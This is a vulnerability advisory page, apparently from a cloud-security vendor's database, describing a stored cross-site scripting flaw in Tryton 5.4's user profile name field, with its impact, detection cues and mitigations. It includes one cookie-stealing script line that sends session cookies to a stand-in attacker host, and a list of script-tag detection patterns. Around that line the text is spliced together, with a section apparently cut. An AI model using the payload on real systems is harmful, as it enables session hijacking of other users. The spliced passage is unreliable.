
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2020-37014 is a persistent (stored) cross-site scripting (XSS) vulnerability in Tryton 5.4, affecting the user profile name input field. Authenticated attackers with low privileges can inject malicious script payloads into the name field, which subsequently execute in both the frontend and backend user interfaces when viewed by other users. The vulnerability was published on January 30, 2026, and assigned by VulnCheck. It carries a CVSS v3.1 base score of 6.4 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (VulnCheck, Exploit-DB).
The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). An authenticated attacker with low privileges submits a crafted script payload (e.g., <script>...</script>) into the user profile name field via the Tryton application. Because the application fails to sanitize or encode this input before rendering it in the UI, the payload is persistently stored and executed in the browsers of any user — including administrators — who view the affected profile in either the frontend or backend interface. A public proof-of-concept exploit is available on Exploit-DB (Exploit-DB, Vulnerability Lab).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browser sessions, including administrators, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of victims, and defacement of the application interface. Because the payload executes in both frontend and backend interfaces, the blast radius extends to privileged users, increasing the risk of privilege escalation or lateral movement within the application. Confidentiality and integrity are both impacted at a low-to-moderate level, while availability is not directly affected (VulnCheck, Exploit-DB).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.<script>, %3Cscript%3E, javascript:) in user profile name fields or HTTP POST requests to profile update endpoints.Users should upgrade Tryton to a version beyond 5.4 that includes input sanitization and output encoding fixes for user profile fields; consult the Tryton download page for the latest patched release. As a workaround, restrict the ability to modify user profile names to trusted administrators only, and implement a web application firewall (WAF) rule to block requests containing script tags or JavaScript event handlers in profile name parameters. Regularly audit user profile data in the database for unexpected HTML or script content (Tryton, VulnCheck).
Coverage of this vulnerability has been limited to security database aggregators and a technical write-up on Infinit Security's blog. No major vendor statements, notable researcher commentary, or significant social media discussion has been identified beyond the initial Exploit-DB submission and VulnCheck advisory (Infinit Security, VulnCheck).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."